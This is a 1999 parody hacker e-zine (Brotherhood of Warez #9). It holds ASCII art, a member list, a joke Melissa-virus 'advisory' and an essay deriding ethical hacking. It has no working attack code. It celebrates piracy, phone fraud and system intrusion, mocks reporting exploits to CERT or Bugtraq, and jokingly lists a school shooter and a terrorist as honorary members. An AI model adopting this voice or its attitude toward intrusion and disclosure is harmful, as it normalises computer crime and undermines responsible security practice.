home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / bow / bow9.txt < prev   
Encoding:
Text File  |  2002-05-27  |  85.5 KB  |  1,996 lines

  1. _______________________________________________________________________________
  2.  
  3. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  4. : May / June 1999 * ____     \   /           ________  BRoTHeRHooD oF WaReZ  :
  5. :                   |   \    __*   __   ||  /  ___   \ BRoTHeRHooD oF WaReZ  :
  6. : The Brotherhood   | o / ___| \  / |  -++- \____    / BRoTHeRHooD oF WaReZ  :
  7. : of Warez. Never   |   \/   \ |  | |  -++-     /   /  BRoTHeRHooD oF WaReZ  :
  8. : Afraid, and       |  o )  o | .o /    ||     /___/   BRoTHeRHooD oF WaReZ  :
  9. : Always Pheared.   |___/\___/ \/\/            NiNE    BRoTHeRHooD oF WaReZ  :
  10. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  11.                    No, you're not hallucinating, it's the:
  12. __________                __  .__                 .__                      .___
  13. \______   \_______  _____/  |_|  |__   ___________|  |__   ____   ____   __| _/
  14.  |    |  _/\_  __ \/  _ \   __\  |  \_/ __ \_  __ \  |  \ /  _ \ /  _ \ / __ | 
  15.  |    |   \ |  | \(  <_> )  | |   Y  \  ___/|  | \/   Y  (  <_> |  <_> ) /_/ | 
  16.  |______  / |__|   \____/|__| |___|  /\___  >__|  |___|  /\____/ \____/\____ | 
  17.         \/                         \/     \/           \/                   \/ 
  18.                    _____   __      __                               
  19.              _____/ ____\ /  \    /  \_____ _______   ____ ________ 
  20.             /  _ \   __\  \   \/\/   /\__  \\_  __ \_/ __ \\___   / 
  21.            (  <_> )  |     \        /  / __ \|  | \/\  ___/ /  __/   
  22.             \____/|__|      \__/\  /  (____  /__|    \___  >_____ \ 
  23.                                  \/        \/            \/      \/
  24.                        k-RaD pH0r tHe aYch/Pee NaTi0n         
  25.                       PURE CHEWING SATISFACTION IN 1999
  26.  
  27.                            
  28.                            .,aad88888888888baa,.
  29.                       ,ad8888888888888888888888888ba,.
  30.                   ,ad888888888888888888888888888888888ba,
  31.                ,ad888888888P""'             """Y88888888888ba.
  32.              ,d88888888P""                        ""Y888888888ba
  33.            a888888888"                               ""Y88888888b,
  34.          ,888888888b,      psst! Just put up this       ""Y8888888b,
  35.         d888888888888b,     k-rad sign at yer local        "Y8888888b,
  36.       ,8888888' "888888b,     2600 m33ting 4r3a              "Y8888888b
  37.      ,888888"     "Y88888b,    and l3t the narqz kn0w          "Y888888b
  38.     ,888888'        "Y88888b,   they are not w3lc0m3 4t y0ur     "888888b
  39.    ,888888'           "Y88888b,    k-sp1ff1e w4r3z sw4p...        `888888a
  40.   ,888888'               "Y88888b,                                 `888888,
  41.   888888'    ooooo      ooo 88888b,                                 Y88888b
  42.  d88888P    `888b.     `8'                                          `888888,
  43.  888888'     8 `88b.    8   .oooo.   oooo d8b .ooooo oo   oooooooo   )88888)
  44.  888888      8   `88b.  8  `P  )88b  `888""8P d88' `888   d'""7d8P   (88888)
  45.  888888      8     `88b.8   .oP"888   888     888   888     .d8P'    d88888)
  46.  888888      8       `888  d8(  888   888     888   888   .d8P'  .P  888888)
  47.  888888     o8o        `8  `Y888""8o d888b    `V8bod888  d8888888P  ,888888'
  48.  Y88888,                         ^                  888.            d888888
  49.  `88888b                        /|\                 8P'            ,888888P
  50.   888888                         |          "Y88888 "              d888888'
  51.   `888888,           Insert Fave N4rq Here    "Y88888b,           d888888P
  52.    Y888888,                                     "Y88888b,       ,d888888P
  53.     Y88888b,                                       "Y88888b,    ,8888888"
  54.      Y88888b,   f1n4lly, a sure-fire w4y to k33p     "Y88888b, d8888888"
  55.       Y888888,  und3s1r4bl3z fr0m 1ntrud1ng 4nd        "Y888888888888P'
  56.        "888888b,   st34l1ng y0ur z3r0d4y k0d3Zz!         "8888888888"
  57.          Y888888b,                                     ,888888888"
  58.            Y8888888ba,                              ,a888888888"
  59.              "Y88888888ba,._                    .,ad888888888P"
  60.                 "Y88888888888bbaa,,______,,aadd88888888888""
  61.                     "Y8888888888888888888888888888888""  
  62.                         ""Y888888888888888888888P"" 
  63.                               """"""""""""""    
  64. _______________________________________________________________________________
  65.  
  66.  Brotherhood of WaReZz -BoW- Brotherhood of WaReZz -BoW- Brotherhood of WaReZz
  67. _______________________________________________________________________________
  68.  
  69. 9999999999999999999999999999999999999999999999999999999999999999999999999999999
  70. NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE
  71. NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE
  72. NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE
  73. NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE
  74. NiNE NiNE NiNE NiNE+---------------------------------------+NiNE NiNE NiNE NiNE
  75. NiNE NiNE NiNE NiNE| In this latest K-rad issue of BoW you |NiNE NiNE NiNE NiNE
  76. NiNE NiNE NiNE NiNE| can leech the following phresh warez: |NiNE NiNE NiNE NiNE
  77. NiNE NiNE NiNE NiNE| 1) K-L33T INTRO TO NUMBER NINE        |NiNE NiNE NiNE NiNE
  78. NiNE NiNE NiNE NiNE| 2) WHO TO PHEAR (AKA MEMBER LIST)     |NiNE NiNE NiNE NiNE
  79. NiNE NiNE NiNE NiNE| 3) BOW EMERGENCY RESPONSE TEAM [B3RT] |NiNE NiNE NiNE NiNE
  80. NiNE NiNE NiNE NiNE| 4) YOU JUST DON'T GET IT, DO YOU?     |NiNE NiNE NiNE NiNE
  81. NiNE NiNE NiNE NiNE| 5) GETTIN' SNEAKY WITH BOW            |NiNE NiNE NiNE NiNE
  82. NiNE NiNE NiNE NiNE| 6) HACKING 10-10-321                  |NiNE NiNE NiNE NiNE
  83. NiNE NiNE NiNE NiNE| 7) HOW TO BE AN ELiTE HAQR            |NiNE NiNE NiNE NiNE
  84. NiNE NiNE NiNE NiNE| 8) THE ENTERTAINMENT K0LUMN           |NiNE NiNE NiNE NiNE
  85. NiNE NiNE NiNE NiNE| 9) AN INTRO TO TH3 B1W FIGHTING FORCE |NiNE NiNE NiNE NiNE
  86. NiNE NiNE NiNE NiNE|10) K-RAD CRYPTOGRAPHY                 |NiNE NiNE NiNE NiNE
  87. NiNE NiNE NiNE NiNE|11) PHRESH WAREZ: BOWZ4P.C             |NiNE NiNE NiNE NiNE
  88. NiNE NiNE NiNE NiNE|12) RHYMIN' AND K0UR13RIN'             |NiNE NiNE NiNE NiNE
  89. NiNE NiNE NiNE NiNE|13) BOW 0FFICIAL D1STR0 S1TE LISTING   |NiNE NiNE NiNE NiNE
  90. NiNE NiNE NiNE NiNE+---------------------------------------+NiNE NiNE NiNE NiNE
  91. NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE
  92. NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE
  93. NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE
  94. NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE NiNE
  95. 9999999999999999999999999999999999999999999999999999999999999999999999999999999
  96.  
  97. ______________________________________________________________________________
  98.  
  99. 111111111111111111111111111111111111111111111111111111111111111111111111111111
  100. ______________________________________________________________________________
  101. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  102. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  103. BoW BoW BoW BoW BoW Bo|  INTRODUCTION TO BOW NUMBER 9  |BoW BoW BoW BoW BoW Bo
  104. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  105. BoW BoW BoW BoW BoW Bo*           by: Lister           *BoW BoW BoW BoW BoW Bo
  106. ==============================================================================
  107.  
  108. Phear ye, phear ye! Just when you thought it was safe to cancel your subscrip-
  109. tion to Bugtraq, comes the return of BoW. That's right folks, the people who
  110. brought you the ever-pheared .rhosts explo1t and sh0ck3d th3 world with the
  111. release of d4l3 dr3w's gerbling photos are back in 1999 with h-bomb force.
  112.  
  113. Here we are on the verge of the new millenium, and now the torch has been
  114. passed from Pluvius to myself for editorship of the most pheared newsletter
  115. on the face of the planet. We've seen busts (well, duh), h4qr wars, h4tr3d, 
  116. l0ve, n4rqs, w3dd1ngz, fun3ralz, d1v0rc3, and a degredation of the scene so
  117. bad that the only requirement for being called a hacker these days seems to
  118. be the ability to breathe. 
  119.  
  120. And through it all, the Inner Sanctum of Bow has been watching. Laughing for
  121. the most part. Yet here we are, f00tl00se and ph4ncy-phr33, after all that
  122. has happened since BoW #8. Have we been to jail? No. Do we 0wn you? Chances
  123. are, yes.
  124.  
  125. "Fuck," you might be thinking "these bastards have a pretty inflated ego."
  126.  
  127. Well guess what, we do. But don't forget:
  128.  
  129.                      EGO = (E)veryone's (G)etting (O)wned
  130.  
  131. This ninth issue of BoW is sure to b3 a real treat. We've got the freshest
  132. war3z out there, and I guarantee you you won't find a better sell-by date
  133. anywhere else. Just keep in mind that this is my first jab at being editor
  134. so you'll have to forgive any mistakes I make along the way. Well, you don't
  135. really have to, but I assure you I won't lose any sleep over it.
  136.  
  137. If you think you're k-rad enough for BoW, and you'd like to see your name
  138. up in lights, then feel free to submit an article to bow@velkro.net. You can
  139. also send any letters, or feedback to that address. If you're particularly
  140. paranoid, the new BoW pgp key is available a little further down. We're
  141. also always on the lookout for k-kewl ascii artwork to grace the pages of
  142. our hallowed journal, so send us yer favorite creation while your at it. 
  143. Submission does not guarantee publication, but it's worth a try.
  144.  
  145. Well, that about sums things up for this issue. Besides, there's not much
  146. else to be said. So, on with the show and get set to enter Phear Nation%&!@#!
  147.  
  148.                                     - 30 -
  149.  
  150.   -- Lister [BoW Editor] boweditor@velkro.net
  151.   
  152.  
  153. PHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARB
  154.                      
  155.                   -**=< BoW Y2K compliance statement >=**-
  156.                                 By: Pluvius
  157.  
  158. All versions of BoW starting at version 9.0 are fully Y2K compliant. 
  159.  
  160. Unfortunately earlier versions of BoW, specifically version 1, 2, 3, 4, 
  161. portions of verion 5, all of version 6, 7 and also version 8 are *not* Y2K 
  162. compliant. It is important to note that all of these versions of BoW were 
  163. released  during or prior to 1994 which is well before the Y2K issue was a 
  164. known problem (the movie 'Strange Days' didn't even come out until 1995). So 
  165. we really don't feel it was our responsibility to make sure that these 
  166. versions were Y2K compliant. Unfortunately, the older versions of BoW will 
  167. cease to exist when the clock passes midnight, December 31st, 1999. We spent
  168. a lot of energy trying to find a work around, but there was none apparent. 
  169. Our consultants have  suggested that we urge readers to set their clocks to
  170. Decemeber 31st, 1989 to avoid loss of precious data. 
  171.  
  172.                   -**=< |nfo ma|l Ivan's Y2K checklist >=**-
  173.                      
  174. Checkbox    TODO Item
  175.  _
  176. |X|         move to rural Montana
  177. |X|         buy some guns. lots of guns
  178. |X|         hoard food, water
  179. | |         get solar powered computer (check on weather in Montana!)
  180. |X|         stock up on spice girls memorabilia (it will be worth something)
  181. |X|         get one of those bikes that makes electricity
  182. | |         buy 1 year supply of twinkies
  183. |X|         withdraw all money from bank
  184. | |         get money belt to hold cash
  185.  -
  186.             M0r3 t0 c0m3 s00n!
  187.  
  188. PHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARB
  189.  
  190.  
  191. -----BEGIN PGP PUBLIC KEY BLOCK-----
  192. Version: PGPfreeware 6.0.2i
  193.  
  194. mQGiBDcugnsRBADB+1mPC917xR6CY/dtlJdfIzqDQ1wSzmjN4nBUmp85bVUl4sDu
  195. NVCgRS8wOjTe0YuRU390qsROtOmunc4PyPUvGeiHOOyPW8YJSyrbHVHGfEZFM7Lm
  196. PgHeBeQSX0KOVW551fJrUZlp8dkaqQns02IWsYQCTO27Bc54TFC6LI/X3wCg/94l
  197. 7JLwtQQuHoW3ZE/5cTk+BwcD/03gtS5vXbnQjm9PSxqcWZB2k9xiCJ2yRg28SoPw
  198. tKdlHVK2pMpJZtKf99/IqL3Bl0AXP0Z8eGGUyoSUIcSVhMQlAuMcTiw4NVfZ720R
  199. IvjLc4xupetgtFKs0CskhBdsVDIpKXdM6YBkY49isCH1DZSCMNKuRTwZilOQujh0
  200. v4dLA/0fgdtuaFOIvN0vzV9pmNBCqgDFHJzUJeEwj0Ttt8zkr2f59i4sL9cZQL/7
  201. FjT8wQvHLOb07B7XYsSAD8MOeMELjhlxeHdeyMdBPXSMVNw7N8jDNY6jcTBckH8L
  202. Zh6S9kE/TZzSn0WZiMKoMg0dRenWc2nQQfTL/1eJ5ID94iN6TrQpVGhlIEJyb3Ro
  203. ZXJob29kIG9mIFdhcmV6IDxib3dAdmVsa3JvLm5ldD6JAEsEEBECAAsFAjcugnsE
  204. CwMCAQAKCRCGmZ3H+OxTRb69AJsF3L7NLTRFy04/eZn8Ib1OnevYzgCfSBjycfUN
  205. 1JoSnaus8cIorF/oM+e5Ag0ENy6CexAIAPZCV7cIfwgXcqK61qlC8wXo+VMROU+2
  206. 8W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZS
  207. Tz09jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNbno2gpXI6
  208. 1Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbzySPAQ/Cl
  209. WxiNjrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLWhsQDGcgH
  210. KXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsAAgIIAJqg
  211. Dfzc20TnslEnZ6SrfT34VFTTFBp5DSLlhcsMntm30aZKxGLWUGKGbcG8viEWNCfU
  212. kje4viAKU/A3GzicmokNpRcm2EhmNmta6pFhB1506i8PSL0QA0XymDzZV2hcvDdk
  213. fycjQGvJXxs8q4t2sf0+yQdq7q04b5noxtkf51SuYga/ImMHIaGIou+/x2dpbGD2
  214. 76mUFtgFRo2mntwNfPDOwJshdIMr5rsj9i4bFZNKgCWOLdtv8uem7dM3oXzpB4+O
  215. 8eibRZRA2xTaT1UUI67SCGZsk38A6Q9R2L/qV73+DEBDsqeLptsnKmmwB3POLi29
  216. VCDD7+EvFGA++VxV2CKJAEYEGBECAAYFAjcugnsACgkQhpmdx/jsU0UlxgCfd47N
  217. 6T+fTjf+IjiHZFYBlVrgoa0AoMucb+IeBHz0j7sw3GRR4Fm18bOK
  218. =Byvb
  219. -----END PGP PUBLIC KEY BLOCK-----
  220.  
  221. +++
  222. ATZ
  223. OK
  224. ATDT*67,1-800-PH34R-B0W
  225. CONNECT 666bps v.31337/KRAD
  226.  
  227. BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW
  228.                             + Return of the Mast(head) +
  229.  
  230.   BoW Magazine is an electronic magazine published whenever we feel like it,
  231.   (literally -- it's been five years since we last came out with an issue)
  232.   specializing in Computer Deviancy, Software Piracy, Computer Insecurity,
  233.   Telecommunications Fraud, and other nasty things. The longdistance carriers
  234.   phear us.
  235.  
  236.   BoW Magazine is KopyWrong (K) 1999. Any unauthorized distribution is
  237.   k-lame, and we will get Tsut0mu Sh1m0mur4 t0 track you down, narq you out,
  238.   hire a bad journalist to help him write a mediocre book about it, 
  239.   wh0re himself to the media, and generally capitalize off your misfortune,
  240.   if you distribute these electrons without prior consent of God. God can be
  241.   reached in New York City, on the subway. Grab a ride and ask him... then it
  242.   will be ok. You can also distribute this magazine in an unauthorized fashion
  243.   if either a) Eugene Spafford or b) A Real Cyberpunk [in the event you do not
  244.   know Eugene Spafford] say it's ok. Real Cyberpunks can be reached at the
  245.   following email addresses: idol@well.sf.ca.us, president@whitehouse.gov,
  246.   root@att.att.com, and root@microsoft.com. If you don't have access to email,
  247.   then call up a cyberpunk at the following phone number: 0. Ask them... but
  248.   first ask them for some k0d3z, it's a secret codeline. Tell them you would
  249.   like to distribute BoW magazine in an unauthorized fashion. They will be
  250.   able to give you permission.
  251.  
  252. BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW
  253.  
  254. THERE NEVER WAS ANY CARRIER IN THE FIRST PLACE
  255.  
  256.                                 NuBeR NiNE 1n '99. 
  257.                 BoW - Spreading the Zeroday your way since 1992.
  258.  
  259.  The BoW Ninth Issue Return of the Hack Comeback Spectakular is (K) KopyWrong
  260.        __________       __      __   ____ ________  ________  ________  
  261.        \______   \ ____/  \    /  \ /_   /   __   \/   __   \/   __   \ 
  262.         |    |  _//  _ \   \/\/   /  |   \____    /\____    /\____    / 
  263.         |    |   (  <_> )        /   |   |  /    /    /    /    /    /  
  264.         |______  /\____/ \__/\  /    |___| /____/    /____/    /____/   
  265.                \/             \/                                        
  266.                              distribute everywhere
  267.                                       
  268.                      The Few, The Pr0ud, Th3 pheared. The BoW.
  269.                             THE BROTHERHOOD OF WAREZ
  270.                                  www.velkro.net
  271.                                  bow@velkro.net
  272.  
  273. ______________________________________________________________________________
  274.  
  275. 222222222222222222222222222222222222222222222222222222222222222222222222222222
  276. ______________________________________________________________________________
  277. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  278. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  279. BoW BoW BoW BoW BoW Bo|    K-SP1FF BOW MEMBER LIST     |BoW BoW BoW BoW BoW Bo
  280. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  281. BoW BoW BoW BoW BoW Bo*        by: The BoW Staff       *BoW BoW BoW BoW BoW Bo
  282. ==============================================================================
  283.  
  284. High Epopt and
  285. Master Therion:      U4EA
  286.                      
  287. Newsletter editor:   Lister                         
  288.  
  289. Members:             Th3 V3lkr0 K0d3 \/\/aRRi0R, Lister, SW_R, Pluvius,
  290.                      kiad, The Deadkennedy, Ratscabies, D-CeLLeRaTiON TRaUMA
  291.                      The Own3d R4ng3r, Distr0-D4v3, S1l3nt K0ur13r
  292.  
  293. Simply-like-their-name-in-the-Mag-and-never-do-anything:
  294.                      Pluvius (R3v3ng3 1s M1n3!@# M0Hoh4h4@#$!)
  295.                      
  296. Missing in Action:   Carsenio, Mystic Ruler, Maelstrom                  
  297.  
  298. K-Rad Web Designer:  Th3 V3lkr0 K0d3 \/\/aRRi0R
  299.                     
  300. Honourary Members:   Cliff Stole,
  301.                      Eugene Sp4fford [PhEaR!@#],
  302.                      Eric Harris,
  303.                      Osama bin Laden
  304.  
  305. Tsut0mu Sh1m0mura Media Wh0r3 Award: 
  306.                      The EFF, J0hN Vr4n3s3v1ch, HFG (a three way tie!@$@!@)
  307.                      
  308. Will 0rg4sm if he sees his name in BoW, so we'll print it:
  309.                      Wep
  310.  
  311. Lifetime Achievement Award:
  312.                      Pluvius
  313.  
  314. Traxxter Memorial Narq Award:
  315.                      Nick Potkay                     
  316.  
  317. Auxiliary Members:   VOiCE MAiL HaQR, Count Zero-Day, The Cyberspace Warrior,
  318.                      Danny Diveter, *67-Kevin, Aspen Extreme, Peter Packet,
  319.                      Call-return Vern, The 300 baud bandit, Trevor Trunk,
  320.                      Telephone Tony, PBX-Pat, Speaker fone Joan, *70-Hero, 
  321.                      TH3 PHR3SH PR1NC3 0F B3LLC0RE, Luke D0wnl04d3r,
  322.                      Blue Box Bart, The Call Block Jock, The MCi Sprinter,
  323.                      Datapac Jack, The Delphi Guy, Compuserve Connie,     
  324.                      DiATR1b3, x.25 Clive, HTT Pete, Centagram Sam, NUA Faye,
  325.                      Line Man Stan, Call Display Faye, Kordless Karl,
  326.                      K-r4d Vl4d, x2 Stu, m4rt1n luth3r p1ng, p4p4 SmUrph, 
  327.                      Dial Tone Don, Pirate Pete, Conference Call Paul,
  328.                      Hackle-b3rry phin, SunOS Ross, th3 pir8 of p3nz4nc3,
  329.                      Z3r0d4y Want Shen0b1, Coco Cottz, The Code Slayer,
  330.                      D1g1t4l D0pp3lg4nger, W4r3z P00dle, mendax m1ke,
  331.                      |NFo Ma|L iVAN, Three-way Jay, el8 pete, dr0pstat d4le,
  332.                      A0L M3l, d0tc0m T0m, L0u1s Farrahk0d3 
  333.                      
  334. Greetz go out to:    H4G1S, GLuE, ANuS, Juliet, Yorkshire Posse, W.A.R.E.S.
  335.  
  336.  
  337. ______________________________________________________________________________
  338.  
  339. 333333333333333333333333333333333333333333333333333333333333333333333333333333
  340. ______________________________________________________________________________
  341. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  342. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  343. BoW BoW BoW BoW BoW Bo|      BERT ALERT NUMBER 0NE     |BoW BoW BoW BoW BoW Bo
  344. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  345. BoW BoW BoW BoW BoW Bo*       by: The Deadkennedy      *BoW BoW BoW BoW BoW Bo
  346. ==============================================================================
  347.  
  348.                  BoW Emergency Response Team [BERT]« Adv1s0ry
  349.  
  350.                         BS-99-04-Melissa-M4cr0-V1rus
  351.     
  352.                  Or1g1n4l 1s$ue d4t3: Saturday March 27 1999
  353.         
  354.           auth0r: sen10r BoW sekur1ty k0nsult4nt, The Deadkennedy   
  355.  
  356.  
  357. Syst3ms Aff3k-t3d:
  358.  
  359. Mach1nez with Micr0soft Word 97 or Word 2000 
  360.       
  361. Any mail h4ndling syst3m c0uld x-per1ence perf0rmance pr0bl3mz 0r 
  362. a denial 0f serv1ce as a result 0f the pr0pagay$hun 0f this macro v1ru$. 
  363.  
  364. Ovrv13w:
  365.     
  366. @ apr0x1m8ly 4:00 AM EST 0n fr1d4y m4rch 26 1999 w3 b3g4n receiv1ng rep0rt$
  367. 0f a m4cr0 v1ru$ att4Q1ng f41thfUll BoW r34d3r'z w1nd0ws m4ch1n3z. w3 w0k3
  368. up ar0und 2:00 PM EST t0 1nvest1g8, 4t f1r$t w3 susp3ct3d v1r11d c0p1ez 0f 
  369. n1nj4 g41d3n. th1$ w0uld tuRn 0ut 2 b ph4r fr0m th3 tr00th. th3 re4l1ty 
  370. 1z ph4r m0r3 s1n1$t3r. sp4f w4$ unav41labl3 ph0r k0mm3nt.   
  371.  
  372. 0ur analys1s 0f th1z v1ruS ind1c8z 1t w4$ NOT cre8d w1th VCL! aft3r k0nklud1ng
  373. th1$ w3 skr4cth3d 0ur hedz 4 a f3w h0urz. wh4t w3 end3d uP f1gur1ng 0ut w0z 
  374. th3 v1rus pr0p4g8z du3 t0 hum4n interaksHun (the us3r 0pen1ng a d0cum3nt).  
  375.         
  376. d-skrYptshUn:
  377.  
  378. Th3 Mel1ssa m4cr0 v1ru$ propag8s 1n th3 f0rm of an em41l mess4ge k0ntaining 
  379. an inf3cted  Word document as an att4chment. The tr4n$port m3ss4g3 h4Z m0s+ 
  380. fr3quently b3en rep0rted 2 k0ntane th3 f0llow1ng Subj3ct he4der
  381.  
  382.      Subject: 0-d4y w4r3z, op3n th1$ br0 <name>
  383.  
  384. Wh3r3 <name> 1z th3 pHull n4m3 of the k0ur13r gr0up s3nd1ng the m3ss4ge.
  385.  
  386. 0r:
  387.  
  388.      Subject: u m4y h4v3 alr34dy w0n 10 m1ll10n d0ll4rz dud3! 
  389.     
  390. 0r:
  391.  
  392.      Subject: eye b3t ur s0 l4m3 u k4nt ev3n f1gur3 0ut h0w t0 re4d th1$ em4il  
  393.  
  394.  
  395. th3 b0dy of the mess4ge 1z a mult1p4rt MIME mess4ge k0nt4in1ng 2 seKshunz. 
  396. Th3 f1rst seKtion  of the mess4ge (Content-Type: text/plain) Kont41nz th3 
  397. foll0w1ng t3xt.
  398.  
  399.     "th1z 1z th3 m3l1ssa v1ru$..ur 1n 4 1t t0ugh gUy..YP rulez 1n '99"
  400.  
  401. Th3 n3xt seKtion (Content-Type: application/msword) waZ in1ti4lly rep0rted 2 b
  402. a doKum3nt kalled "BoW7.doc". Th1s docUm3nt Kont4ins ref3rences to p0rnographic 
  403. web sitez and 0-d4y k0d3z.       
  404.  
  405. th3 m4cr0 th3n ch3x 2 s33 1f th3 reg1stry key 
  406.  
  407.      "HKEY_Current_User\Software\Microsoft\Office\Melissa?"
  408.  
  409. h4$ a valUe 0f "... H4G1S R0X". 1f 1t d0e$ th3 v1rUs beg1nz 1tz v1c10uz cycl3. 4t 
  410. f1rst th3 v1rUs app34rz h4rml3$$, h0w3v3r w1th1n 2 h0urz 0f inf3ct10n 1t b3g1nz 
  411. rm'ing 4ll ur arch1v3d 0-d4y. aft3r rem0v1ng ur w4r3z 1t mut8s 1nt0 a phyz1k4l
  412. ph0rm and b3g1nz t0 sl4p u ar0und unt1l u s4y "EyE PHEAR BoW".
  413.  
  414. f1g 1.0 (p1ksur3 0f s3d mut8d v1ru$ du0d): 
  415.     
  416.                    _||||||||||||||||||||||||_
  417.                   /                          \
  418.                  /             \_/            \
  419.                 |       \____     _____/       |
  420.                 |       /  o /\  /\ o  \       |
  421.                 |       \___/      \___/       |    
  422.                 |              /\              |
  423.                 \    ______________________    /    
  424.                  \_  .____|   |  |   |____.  _/
  425.                    \      |___|  |___|      /       
  426.                     \______________________/        
  427.                    _____|              |_____      
  428.                   /                          \      
  429.                  |                            |
  430.                  |      /  __________  \      |    
  431.                  |\/\/\|   I LUV BOW!   |\/\/\|     
  432.                        |   ~~~~~~~~~~   |         
  433.                        |                |
  434.                       <                  >         
  435.                       (  b0rn 2 1nf3ct!  )        
  436.                       \__________________/         
  437.                              
  438.  
  439. up0n utt3r1ng th3 phr4$3 th3 v1ruS c4lmz d0wn and gr4bz h1ms3lf a b33r 0ut 0f
  440. ur fr1dge, and s1tz d0wn at uR k0ns0l3. th3 v1ruS th3n subskr1bez u 2 500 
  441. m41l1ng l1stz and p0$tz t0 alt.pictures.erotica.beastiality fr0m ur 
  442. w0rk/sch00l addr3ss, 1t th3n impregn8z ur g/f w1th th3 dem0n seed 0f BoW. 
  443. th3 v1ru$ 1z als0 kn0wn t0 thr0w f1tz 0f r4g3 shUd u 0nly h4ve l1ght br3w. 
  444. b w4r3.      
  445.  
  446. 1mp4ct:
  447.  
  448. dud3..d0nt g3t th1Z v1rus..1tz b4d n3wz 4 sur3.
  449.       
  450. s0lut10n:
  451.     
  452. buy 4n am1g4.
  453.  
  454.  
  455. ______________________________________________________________________________
  456.  
  457. 444444444444444444444444444444444444444444444444444444444444444444444444444444
  458. ______________________________________________________________________________
  459. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  460. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  461. BoW BoW BoW BoW BoW Bo| YOU JUST DON'T GET IT, DO YOU? |BoW BoW BoW BoW BoW Bo
  462. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  463. BoW BoW BoW BoW BoW Bo*            by: U4EA            *BoW BoW BoW BoW BoW Bo
  464. ==============================================================================
  465.  
  466.                          <----] What is BoW? [---->
  467.  
  468. BoW is a fraternal organization for like minded inviduals.
  469.  
  470. BoW is a virtual sanctuary for the exploration of the so called "darkside" of
  471. the "hacker" ethic.  BoW serves a twofold purpose, one being of course the
  472. artistic interpretation of what is now a stagnated "scene" using the ascii
  473. medium (the zine). Secondly BoW serves as an engine of stratification;
  474. employed mercilessly by it's high ranking members.
  475.  
  476.                  <----] How does one become a member? [---->
  477.  
  478. BoW members are born not made, if you truly are BoW material: you will be
  479. recognized as such by the governing council and invited to take refuge amongst
  480. our membership.  Once invited you will be subjected to a series of ordeals,
  481. no two members are put through the same test as each individual is recognized
  482. as the subjectively encapsulated being that he / she is.
  483.  
  484. The Aeon of BoW began in 1992 when the existing scene paradigm was redefined
  485. by my utterance of the word "Phear" and I was recognized to the station of
  486. "Phearless Leader" by the existing governing council.  This council was born
  487. out of the ashes of what once served as the largest H/P organization in the
  488. world:  VirtualCon.  Never heard of it?  You either weren't around, or if you
  489. were, you were likely a worthless social scene parasite and not actively 
  490. involved in anything.
  491.  
  492.                         <----] Why "darkside"? [----> 
  493.  
  494. At the time of BoW's inception, the existing hacker "ethic" was riddled with
  495. such drug-addled hippy slogans as "information wants to be free",
  496. "if ___ is outlawed, only outlaws will have ___", etc.  There was an alarming
  497. trend towards what the socio-political faction of the "scene" termed "ethical
  498. hacking" which if you reduced it to it's base elements you would find it 
  499. roughly translated to the following:
  500.  
  501.             - kiss as much ass as possible as it may one day
  502.               lead to employment.
  503.  
  504.             - turn over every exploit you are either given or
  505.               discover on your own to security professionals 
  506.               and organizations such as CERT for kudos.
  507.     
  508.             - post all exploits, etc to newsgroups such as 
  509.               bugtraq, etc so that you can gain recognition
  510.               from your peers. (sounds a bit like the warez
  511.               scene doesn't it?)
  512.     
  513.             - when it is politically correct to do so, 
  514.               reprimand other hackers publically for actually
  515.               hacking / phreaking.
  516.     
